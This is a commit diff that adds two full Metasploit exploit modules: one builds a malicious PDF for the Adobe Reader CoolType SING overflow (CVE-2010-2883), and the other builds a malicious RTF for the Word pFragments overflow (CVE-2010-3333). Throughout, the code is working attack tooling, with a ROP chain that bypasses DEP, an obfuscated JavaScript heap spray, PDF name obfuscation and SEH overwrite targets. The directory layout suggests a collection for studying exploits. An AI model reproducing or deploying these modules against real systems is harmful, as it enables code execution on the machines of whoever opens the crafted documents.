fix

src/exploit/7.1.8_adobe_reader_2010-2883/adobe_cooltype_sing.rb

@@ -0,0 +1,562 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'zlib'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof
+
+  include Msf::Exploit::FILEFORMAT
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
+        handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior versions are
+        assumed to be vulnerable as well.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Unknown',    # 0day found in the wild
+          'sn0wfl0w',   # initial analysis, also @vicheck on twitter
+          'jduck'       # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'CVE', '2010-2883' ],
+          [ 'OSVDB', '67849'],
+          [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
+          [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC'             => 'process',
+          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
+          'DisablePayloadHandler' => 'true',
+        },
+      'Payload'        =>
+        {
+          'Space'    => 1000,
+          'BadChars' => "\x00",
+          'DisableNops' => true
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
+          # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
+          # Tested OK via Adobe Reader 9.3 on XP and 7 -todb
+          [ 'Automatic', { }],
+        ],
+      'DisclosureDate' => 'Sep 07 2010',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
+      ])
+  end
+
+  def exploit
+    ttf_data = make_ttf()
+
+    js_data = make_js(payload.encoded)
+
+    # Create the pdf
+    pdf = make_pdf(ttf_data, js_data)
+
+    print_status("Creating '#{datastore['FILENAME']}' file...")
+
+    file_create(pdf)
+  end
+
+  def make_ttf
+    ttf_data = ""
+
+    # load the static ttf file
+
+    # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
+    path = File.join( Msf::Config.data_directory, "exploits", "cve-2010-2883.ttf" )
+    fd = File.open( path, "rb" )
+    ttf_data = fd.read(fd.stat.size)
+    fd.close
+
+    # Build the SING table
+    sing = ''
+    sing << [
+      0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
+      0xe01,  # glyphletVersion
+      0x100,  # embeddingInfo
+      0,      # mainGID
+      0,      # unitsPerEm
+      0,      # vertAdvance
+      0x3a00  # vertOrigin
+    ].pack('vvvvvvvv')
+    # uniqueName
+    # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
+    #sing << "A" * (0x254 - sing.length)
+    sing << rand_text(0x254 - sing.length)
+
+    # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
+    sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
+
+    # This becomes our new EIP (puts esp to stack buffer)
+    ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
+    sing[0x208, 4] = [ret].pack('V')
+
+    # This becomes the new eip after the first return
+    ret = 0x4a82a714
+    sing[0x18, 4] = [ret].pack('V')
+
+    # This becomes the new esp after the first return
+    esp = 0x0c0c0c0c
+    sing[0x1c, 4] = [esp].pack('V')
+
+    # Without the following, sub_801ba57 returns 0.
+    sing[0x24c, 4] = [0x6c].pack('V')
+
+    ttf_data[0xec, 4] = "SING"
+    ttf_data[0x11c, sing.length] = sing
+
+    ttf_data
+  end
+
+  def make_js(encoded_payload)
+
+    # The following executes a ret2lib using icucnv36.dll
+    # The effect is to bypass DEP and execute the shellcode in an indirect way
+    stack_data = [
+      0x41414141,   # unused
+      0x4a8063a5,   # pop ecx / ret
+      0x4a8a0000,   # becomes ecx
+
+      0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as
+
+      0x4a801f90,   # pop eax / ret
+      0x4a84903c,   # becomes eax (import for CreateFileA)
+
+      # -- call CreateFileA
+      0x4a80b692,   # jmp [eax]
+
+      0x4a801064,   # ret
+
+      0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to "iso88591")
+      0x10000000,   # second arg  - dwDesiredAccess
+      0x00000000,   # third arg   - dwShareMode
+      0x00000000,   # fourth arg  - lpSecurityAttributes
+      0x00000002,   # fifth arg   - dwCreationDisposition
+      0x00000102,   # sixth arg   - dwFlagsAndAttributes
+      0x00000000,   # seventh arg - hTemplateFile
+
+      0x4a8063a5,   # pop ecx / ret
+      0x4a801064,   # becomes ecx
+
+      0x4a842db2,   # xchg eax,edi / ret
+
+      0x4a802ab1,   # pop ebx / ret
+      0x00000008,   # becomes ebx - offset to modify
+
+      #
+      # This points at a neat-o block of code that ... TBD
+      #
+      #   and [esp+ebx*2],edi
+      #   jne check_slash
+      # ret_one:
+      #   mov al,1
+      #   ret
+      # check_slash:
+      #   cmp al,0x2f
+      #   je ret_one
+      #   cmp al,0x41
+      #   jl check_lower
+      #   cmp al,0x5a
+      #   jle check_ptr
+      # check_lower:
+      #   cmp al,0x61
+      #   jl ret_zero
+      #   cmp al,0x7a
+      #   jg ret_zero
+      #   cmp [ecx+1],0x3a
+      #   je ret_one
+      # ret_zero:
+      #   xor al,al
+      #   ret
+      #
+
+      0x4a80a8a6,   # execute fun block
+
+      0x4a801f90,   # pop eax / ret
+      0x4a849038,   # becomes eax (import for CreateFileMappingA)
+
+      # -- call CreateFileMappingA
+      0x4a80b692,   # jmp [eax]
+
+      0x4a801064,   # ret
+
+      0xffffffff,   # arguments to CreateFileMappingA, hFile
+      0x00000000,   # lpAttributes
+      0x00000040,   # flProtect
+      0x00000000,   # dwMaximumSizeHigh
+      0x00010000,   # dwMaximumSizeLow
+      0x00000000,   # lpName
+
+      0x4a8063a5,   # pop ecx / ret
+      0x4a801064,   # becomes ecx
+
+      0x4a842db2,   # xchg eax,edi / ret
+
+      0x4a802ab1,   # pop ebx / ret
+      0x00000008,   # becomes ebx - offset to modify
+
+      0x4a80a8a6,   # execute fun block
+
+      0x4a801f90,   # pop eax / ret
+      0x4a849030,   # becomes eax (import for MapViewOfFile
+
+      # -- call MapViewOfFile
+      0x4a80b692,   # jmp [eax]
+
+      0x4a801064,   # ret
+
+      0xffffffff,   # args to MapViewOfFile - hFileMappingObject
+      0x00000022,   # dwDesiredAccess
+      0x00000000,   # dwFileOffsetHigh
+      0x00000000,   # dwFileOffsetLow
+      0x00010000,   # dwNumberOfBytesToMap
+
+      0x4a8063a5,   # pop ecx / ret
+      0x4a8a0004,   # becomes ecx - writable pointer
+
+      0x4a802196,   # mov [ecx],eax / ret - save map base addr
+
+      0x4a8063a5,   # pop ecx / ret
+      0x4a801064,   # becomes ecx - ptr to ret
+
+      0x4a842db2,   # xchg eax,edi / ret
+
+      0x4a802ab1,   # pop ebx / ret
+      0x00000030,   # becomes ebx - offset to modify
+
+      0x4a80a8a6,   # execute fun block
+
+      0x4a801f90,   # pop eax / ret
+      0x4a8a0004,   # becomes eax - saved file mapping ptr
+
+      0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr
+
+      0x4a8063a5,   # pop ecx / ret
+      0x4a801064,   # becomes ecx - ptr to ret
+
+      0x4a842db2,   # xchg eax,edi / ret
+
+      0x4a802ab1,   # pop ebx / ret
+      0x00000020,   # becomes ebx - offset to modify
+
+      0x4a80a8a6,   # execute fun block
+
+      0x4a8063a5,   # pop ecx / ret
+      0x4a801064,   # becomes ecx - ptr to ret
+
+      0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
+
+      0x4a801f90,   # pop eax / ret
+      0x00000034,   # becomes eax
+
+      0x4a80d585,   # add eax,edx / ret
+
+      0x4a8063a5,   # pop ecx / ret
+      0x4a801064,   # becomes ecx - ptr to ret
+
+      0x4a842db2,   # xchg eax,edi / ret
+
+      0x4a802ab1,   # pop ebx / ret
+      0x0000000a,   # becomes ebx - offset to modify
+
+      0x4a80a8a6,   # execute fun block
+
+      0x4a801f90,   # pop eax / ret
+      0x4a849170,   # becomes eax (import for memcpy)
+
+      # -- call memcpy
+      0x4a80b692,   # jmp [eax]
+
+      0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
+      0xffffffff,   # becomes first arg to memcpy (dst)
+      0xffffffff,   # becomes second arg to memcpy (src)
+      0x00001000,   # becomes third arg to memcpy (length)
+      #0x0000258b,   # ??
+      #0x4d4d4a8a,   # ??
+    ].pack('V*')
+
+    var_unescape  = rand_text_alpha(rand(100) + 1)
+    var_shellcode = rand_text_alpha(rand(100) + 1)
+
+    var_start     = rand_text_alpha(rand(100) + 1)
+
+    var_s         = 0x10000
+    var_c         = rand_text_alpha(rand(100) + 1)
+    var_b         = rand_text_alpha(rand(100) + 1)
+    var_d         = rand_text_alpha(rand(100) + 1)
+    var_3         = rand_text_alpha(rand(100) + 1)
+    var_i         = rand_text_alpha(rand(100) + 1)
+    var_4         = rand_text_alpha(rand(100) + 1)
+
+    payload_buf = ''
+    payload_buf << stack_data
+    payload_buf << encoded_payload
+
+    escaped_payload = Rex::Text.to_unescape(payload_buf)
+
+    js = %Q|
+var #{var_unescape} = unescape;
+var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
+var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
+while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
+#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
+#{var_b} += #{var_shellcode};
+#{var_b} += #{var_c};
+#{var_d} = #{var_b}.substring(0, #{var_s}/2);
+while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
+#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
+var #{var_4} = new Array();
+for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
+|
+
+    js
+  end
+
+  def random_non_ascii_string(count)
+    result = ""
+    count.times do
+      result << (rand(128) + 128).chr
+    end
+    result
+  end
+
+  def io_def(id)
+    "%d 0 obj \n" % id
+  end
+
+  def io_ref(id)
+    "%d 0 R" % id
+  end
+
+
+  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
+  def n_obfu(str)
+    #return str
+    result = ""
+    str.scan(/./u) do |c|
+      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
+        result << "#%x" % c.unpack("C*")[0]
+      else
+        result << c
+      end
+    end
+    result
+  end
+
+
+  def ascii_hex_whitespace_encode(str)
+    result = ""
+    whitespace = ""
+    str.each_byte do |b|
+      result << whitespace << "%02x" % b
+      whitespace = " " * (rand(3) + 1)
+    end
+    result << ">"
+  end
+
+
+  def make_pdf(ttf, js)
+
+    #swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
+
+    xref = []
+    eol = "\n"
+    endobj = "endobj" << eol
+
+    # Randomize PDF version?
+    pdf = "%PDF-1.5" << eol
+    pdf << "%" << random_non_ascii_string(4) << eol
+
+    # catalog
+    xref << pdf.length
+    pdf << io_def(1) << n_obfu("<<") << eol
+    pdf << n_obfu("/Pages ") << io_ref(2) << eol
+    pdf << n_obfu("/Type /Catalog") << eol
+    pdf << n_obfu("/OpenAction ") << io_ref(11) << eol
+    # The AcroForm is required to get icucnv36.dll to load
+    pdf << n_obfu("/AcroForm ") << io_ref(13) << eol
+    pdf << n_obfu(">>") << eol
+    pdf << endobj
+
+    # pages array
+    xref << pdf.length
+    pdf << io_def(2) << n_obfu("<<") << eol
+    pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
+    pdf << n_obfu("/Resources ") << io_ref(4) << eol
+    pdf << n_obfu("/Kids [") << io_ref(5) << "]" << eol
+    pdf << n_obfu("/Count 1") << eol
+    pdf << n_obfu("/Type /Pages") << eol
+    pdf << n_obfu(">>") << eol
+    pdf << endobj
+
+    # media box
+    xref << pdf.length
+    pdf << io_def(3)
+    pdf << "[0 0 595 842]" << eol
+    pdf << endobj
+
+    # resources
+    xref << pdf.length
+    pdf << io_def(4)
+    pdf << n_obfu("<<") << eol
+    pdf << n_obfu("/Font ") << io_ref(6) << eol
+    pdf << ">>" << eol
+    pdf << endobj
+
+    # page 1
+    xref << pdf.length
+    pdf << io_def(5) << n_obfu("<<") << eol
+    pdf << n_obfu("/Parent ") << io_ref(2) << eol
+    pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
+    pdf << n_obfu("/Resources ") << io_ref(4) << eol
+    pdf << n_obfu("/Contents [") << io_ref(8) << n_obfu("]") << eol
+    pdf << n_obfu("/Type /Page") << eol
+    pdf << n_obfu(">>") << eol # end obj dict
+    pdf << endobj
+
+    # font
+    xref << pdf.length
+    pdf << io_def(6) << n_obfu("<<") << eol
+    pdf << n_obfu("/F1 ") << io_ref(7) << eol
+    pdf << ">>" << eol
+    pdf << endobj
+
+    # ttf object
+    xref << pdf.length
+    pdf << io_def(7) << n_obfu("<<") << eol
+    pdf << n_obfu("/Type /Font") << eol
+    pdf << n_obfu("/Subtype /TrueType") << eol
+    pdf << n_obfu("/Name /F1") << eol
+    pdf << n_obfu("/BaseFont /Cinema") << eol
+    pdf << n_obfu("/Widths []") << eol
+    pdf << n_obfu("/FontDescriptor ") << io_ref(9)
+    pdf << n_obfu("/Encoding /MacRomanEncoding")
+    pdf << n_obfu(">>") << eol
+    pdf << endobj
+
+    # page content
+    content = "Hello World!"
+    content = "" +
+      "0 g" + eol +
+      "BT" + eol +
+      "/F1 32 Tf" + eol +
+      "32 Tc" + eol +
+      "1 0 0 1 32 773.872 Tm" + eol +
+      "(" + content + ") Tj" + eol +
+      "ET"
+
+    xref << pdf.length
+    pdf << io_def(8) << "<<" << eol
+    pdf << n_obfu("/Length %s" % content.length) << eol
+    pdf << ">>" << eol
+    pdf << "stream" << eol
+    pdf << content << eol
+    pdf << "endstream" << eol
+    pdf << endobj
+
+    # font descriptor
+    xref << pdf.length
+    pdf << io_def(9) << n_obfu("<<")
+    pdf << n_obfu("/Type/FontDescriptor/FontName/Cinema")
+    pdf << n_obfu("/Flags %d" % (2**2 + 2**6 + 2**17))
+    pdf << n_obfu("/FontBBox [-177 -269 1123 866]")
+    pdf << n_obfu("/FontFile2 ") << io_ref(10)
+    pdf << n_obfu(">>") << eol
+    pdf << endobj
+
+    # ttf stream
+    xref << pdf.length
+    compressed = Zlib::Deflate.deflate(ttf)
+    pdf << io_def(10) << n_obfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
+    pdf << "stream" << eol
+    pdf << compressed << eol
+    pdf << "endstream" << eol
+    pdf << endobj
+
+    # js action
+    xref << pdf.length
+    pdf << io_def(11) << n_obfu("<<")
+    pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(12)
+    pdf << n_obfu(">>") << eol
+    pdf << endobj
+
+    # js stream
+    xref << pdf.length
+    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
+    pdf << io_def(12) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
+    pdf << "stream" << eol
+    pdf << compressed << eol
+    pdf << "endstream" << eol
+    pdf << endobj
+
+    ###
+    # The following form related data is required to get icucnv36.dll to load
+    ###
+
+    # form object
+    xref << pdf.length
+    pdf << io_def(13)
+    pdf << n_obfu("<</XFA ") << io_ref(14) << n_obfu(">>") << eol
+    pdf << endobj
+
+    # form stream
+    xfa = <<-EOF
+<?xml version="1.0" encoding="UTF-8"?>
+<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
+<config xmlns="http://www.xfa.org/schema/xci/2.6/">
+<present><pdf><interactive>1</interactive></pdf></present>
+</config>
+<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
+<subform name="form1" layout="tb" locale="en_US">
+<pageSet></pageSet>
+</subform></template></xdp:xdp>
+EOF
+
+    xref << pdf.length
+    pdf << io_def(14) << n_obfu("<</Length %s>>" % xfa.length) << eol
+    pdf << "stream" << eol
+    pdf << xfa << eol
+    pdf << "endstream" << eol
+    pdf << endobj
+
+    ###
+    # end form stuff for icucnv36.dll
+    ###
+
+
+    # trailing stuff
+    xrefPosition = pdf.length
+    pdf << "xref" << eol
+    pdf << "0 %d" % (xref.length + 1) << eol
+    pdf << "0000000000 65535 f" << eol
+    xref.each do |index|
+      pdf << "%010d 00000 n" % index << eol
+    end
+
+    pdf << "trailer" << eol
+    pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
+
+    pdf << "startxref" << eol
+    pdf << xrefPosition.to_s() << eol
+
+    pdf << "%%EOF" << eol
+    pdf
+  end
+end

src/exploit/7.1.9_ms_word_2010-3333/ms10_087_rtf_pfragments_bof.rb

@@ -0,0 +1,199 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = GreatRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
+      'Description'    => %q{
+          This module exploits a stack-based buffer overflow in the handling of the
+        'pFragments' shape property within the Microsoft Word RTF parser. All versions
+        of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the
+        MS10-087 bulletin are vulnerable.
+
+        This module does not attempt to exploit the vulnerability via Microsoft Outlook.
+
+        The Microsoft Word RTF parser was only used by default in versions of Microsoft
+        Word itself prior to Office 2007. With the release of Office 2007, Microsoft
+        began using the Word RTF parser, by default, to handle rich-text messages within
+        Outlook as well. It was possible to configure Outlook 2003 and earlier to use
+        the Microsoft Word engine too, but it was not a default setting.
+
+        It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that
+        Microsoft will confirm or deny this since Office 2000 has reached its support
+        cycle end-of-life.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'wushi of team509',  # original discovery
+          'unknown',           # exploit found in the wild
+          'jduck',              # Metasploit module
+          'DJ Manila Ice, Vesh, CA' # more office 2007 for the lulz
+        ],
+      'References'     =>
+        [
+          [ 'CVE', '2010-3333' ],
+          [ 'OSVDB', '69085' ],
+          [ 'MSB', 'MS10-087' ],
+          [ 'BID', '44652' ],
+          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'process',
+        },
+      'Payload'        =>
+        {
+          'Space'         => 512,
+          'BadChars'      => "\x00",
+          'DisableNops'   => true # no need
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          # This automatic target will combine all targets into one file :)
+          [ 'Automatic', { } ],
+
+          # Office v10.6854.6845, winword.exe v10.0.6854.0
+          [ 'Microsoft Office 2002 SP3 English on Windows XP SP3 English',
+            {
+              'Offsets' => [ 23532, 45944 ],
+              #'Ret' => 0x30002491 # p/p/r in winword.exe v10.0.6854.0
+              'Ret' => 0x30002309 # p/p/r in winword.exe v10.0.6866.0
+            }
+          ],
+
+          # Office v11.8307.8324, winword.exe v11.0.8307.0
+          # Office v11.8328.8221, winword.exe v11.0.8328.0
+          [ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English',
+            {
+              'Offsets' => [ 24580, 51156 ],
+              'Ret' => 0x30001bdd # p/p/r in winword.exe
+            }
+          ],
+
+          # In order to exploit this bug on Office 2007, a SafeSEH bypass method is needed.
+
+          # Office v12.0.6425.1000, winword.exe v12.0.6425.1000
+          [ 'Microsoft Office 2007 SP0 English on Windows XP SP3 English',
+            {
+              'Offsets' => [ 5956 ],
+              'Ret' => 0x00290b0b # call ptr to ebp + 30, hits the next record
+            }
+          ],
+
+          [ 'Microsoft Office 2007 SP0 English on Windows Vista SP0 English',
+            {
+              'Offsets' => [ 5956 ],
+              'Ret' => 0x78812890 # p/p/r in msxml5.dll which wasn't opted into SafeSEH.  say word.
+            }
+          ],
+
+          [ 'Microsoft Office 2007 SP0 English on Windows 7 SP0 English',
+            {
+              'Offsets' => [ 5956 ],
+              'Ret' => 0x78812890 # p/p/r in msxml5.dll which wasn't opted into SafeSEH.  say word.
+            }
+          ],
+
+
+          # crash on a deref path to heaven.
+          [ 'Crash Target for Debugging',
+            {
+              'Offsets' => [ 65535 ],
+              'Ret' => 0xdac0ffee
+            }
+          ]
+        ],
+      'DisclosureDate' => 'Nov 09 2010',
+      'DefaultTarget' => 0))
+
+    register_options(
+      [
+        OptString.new('FILENAME', [ true, 'The file name.',  'msf.rtf']),
+      ])
+  end
+
+  def add_target(rest, targ)
+    targ['Offsets'].each { |off|
+      seh = generate_seh_record(targ.ret)
+      rest[off, seh.length] = seh
+      distance = off + seh.length
+      jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
+      rest[off + seh.length, jmp_back.length] = jmp_back
+    }
+  end
+
+  def exploit
+
+    # Prepare a sample SEH frame and backward jmp for length calculations
+    seh = generate_seh_record(0xdeadbeef)
+    jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0xffff").encode_string
+
+    # RTF property Array parameters
+    el_size = sz_rand()
+    el_count = sz_rand()
+
+    data = ''
+    # These words are presumably incorrectly used
+    # assert(amount1 <= amount2)
+    data << [0x1111].pack('v') * 2
+    data << [0xc8ac].pack('v')
+
+    # Filler
+    if target.name =~ /Debug/i
+      rest = Rex::Text.pattern_create(0x10000 + seh.length + jmp_back.length)
+    else
+      len = 51200 + rand(1000)
+      rest = rand_text(len + seh.length + jmp_back.length)
+      rest[0, payload.encoded.length] = payload.encoded
+    end
+
+    # Stick fake SEH frames here and there ;)
+    if target.name == "Automatic"
+      targets.each { |t|
+        next if t.name !~ /Windows/i
+
+        add_target(rest, t)
+      }
+    else
+      add_target(rest, target)
+    end
+
+    # Craft the array for the property value
+    sploit = "%d;%d;" % [el_size, el_count]
+    sploit << data.unpack('H*').first
+    sploit << rest.unpack('H*').first
+
+    # Assemble it all into a nice RTF
+    content  = "{\\rtf1"
+    content << "{\\shp"             # shape
+    content << "{\\sp"              # shape property
+    content << "{\\sn pFragments}"  # property name
+    content << "{\\sv #{sploit}}"   # property value
+    content << "}"
+    content << "}"
+    content << "}"
+
+    print_status("Creating '#{datastore['FILENAME']}' file ...")
+    file_create(content)
+
+  end
+
+  def sz_rand
+    bad_sizes = [ 0, 2, 4, 8 ]
+    x = rand(9)
+    while bad_sizes.include? x
+      x = rand(9)
+    end
+    x
+  end
+end